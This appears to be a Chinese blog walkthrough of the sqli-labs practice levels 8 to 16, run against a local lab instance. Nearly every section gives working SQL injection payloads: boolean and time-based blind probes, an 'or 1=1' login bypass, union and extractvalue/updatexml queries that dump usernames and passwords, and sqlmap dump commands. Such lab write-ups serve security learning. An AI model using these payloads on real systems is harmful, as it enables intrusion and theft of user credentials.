Sqli-labs Less8-Less16

Less_8 GET-盲注-基于布尔值-单引号

image-20240717104235983

?id=1',报错,可以用?id=1' and 1=2--+?id=1' and 1=1--+判断一下,说明是单引号注入

image-20240717105054157

但是没有报错信息

image-20240717105456723

这些信息已经被注释掉了,就不会显示出来

还是用工具

image-20240717110301180

还可以利用left(version(),1)查看一下version()

?id=1' and left(version(),1)=5--+

?id=1' and left(version(),6)='5.5.47'--+

image-20240717111909585

如果数据库名大于9就报错,说明数据库的名字为8位

Less_9 基于时间的盲注

image-20240717112620041

发现不管是?id=1还是?id=1'还是?id=1"页面都没有变化

可以用延时函数sleep()

?id=1 and sleep(3)--+没有延时

?id=1' and sleep(3)--+延时了3秒

说明是单引号注入

猜解数据库名

?id=1'and if(length((select database()))>=1,sleep(5),1)--+延时了5秒

?id=1'and if(length((select database()))>=9,sleep(5),1)--+没有延时,相当于报错了

?id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)--+延时了5秒

?id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)--+延时了5秒

?id=1' and if(ascii(substr(database(),1,1))<110,sleep(5),1)--+没有延时

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+延时了5秒

直接用工具

image-20240717113825981

python2 sqlmap.py -u http://127.0.0.1:8989/Less-9/?id=1 --current-db

查看当前数据库

Less-10 基于时间的盲注

嗷嗷,是双引号注入

?id=1" and sleep(5)--+延时了5秒,步骤应该和上面一样了

Less_11 单引号报错注入

image-20240717114403352

输入1和1后,就直接报错

输入1'和1后报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1

嗷嗷,还有就是1'--+报错,1'#没有,说明--+没有作用

使用万能登录1' or 1=1#

可以看一下sql注入语句

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

然后username不是等于1' Or 1=1# password为1嘛

SELECT username, password FROM users WHERE username='1' Or 1=1' and password ='1'

因为or后面1=1为真,所以where 语句直接为真

猜解 字段数为2Unknown column '3' in 'order clause

爆出显示位1' union select 1,2#

image-20240717141732540

按上面的来联合注入就完事

passwd=1&submit=Submit&uname=1' union select 1,group_concat(id,password,username) from security.users#

image-20240717142625417

Less_12 双引号报错注入

随便注入,当注入语句为1和1”时,报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1

username和password 的条件判断在一个where语句中;整条语句使用双引号加小括号 ") 闭合

看一下他的SQL语句

$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

就是这样

继续passwd=1&submit=Submit&uname=1") or 1=1#

正常显示passwd=1&submit=Submit&uname=1") or 1=2#报错

步骤和上题一样

passwd=1&submit=Submit&uname=1") union select 1,group_concat(username,password) from security.users#

Less_13 二次注入

sqli-labs通关(十三)_sqli第十三关-CSDN博客

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1

闭合方式就是')'

passwd=1&submit=Submit&uname=1') #没有报错

passwd=1&submit=Submit&uname=1') union select 1,2#但是没有爆出显示位

但是之前可以看到有报错信息,直接用报错信息来得到我们需要的信息

两个函数updatexml()和 extractvalue()

extractvalue()
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用
update的报错原理同上

构造报错信息噜

1')and extractvalue(1,concat(0x7e,(select database())))#
1')and updatexml(1,concat(0x7e,(select database())),3)#

0x7e是~的意思 3 这是 updatexml() 函数的第三个参数,它通常用于指定XML文档中要更新的部分,但在这种上下文中,它实际上不重要,因为我们的目标不是真正更新XML数据。

passwd=1&submit=Submit&uname=1')and extractvalue(1,concat(0x7e,(select database())))#得到数据库的名字

爆表:passwd=1&submit=Submit&uname=1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="security" limit 0,1)))#

image-20240717150340873

爆列名:

passwd=1&submit=Submit&uname=1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 4,1)))#

image-20240717150840190

数据:
passwd=1&submit=Submit&uname=1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and updatexml(1,concat(0x7e,(select username from users limit 0,1)),3)#

将username换成password得到密码

Less_14 二次注入

这是个双引号注入

其他和13题一样

Less_15

不管输入什么都没有回显

一道盲注题

可以用第九题的延时函数sleep(5)

passwd=1&submit=Submit&uname=1‘ and if(length(database()=8),sleep(5),1) #

这句话是判断数据库名的长度是否为8,为8则这个页面缓冲5秒

但是我没实验出来,不懂了

然后就还是用工具吧

然后发现抓包抓不上QAQ,查一查

因为我是127.0.0.1:8989登上去的,打开cmd查看ipconfig

image-20240717154043464

将127.0.0.1改成那个IPv4的地址就好啦

这个的命令是

python2 sqlmap.py -r 15.txt --batch -dbs

15.txt就是post报文,直接用BP来得到

image-20240717155714215

得到表名了,然后按上面方法

image-20240717162605137

python2 sqlmap.py -r 15.txt --batch -D security -T users -C "username,pasword" --dump

image-20240717161932038

这个运行的有点点慢

Less-16

还是和上题一样输啥也没有

那也是盲注,同上

  • 9
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值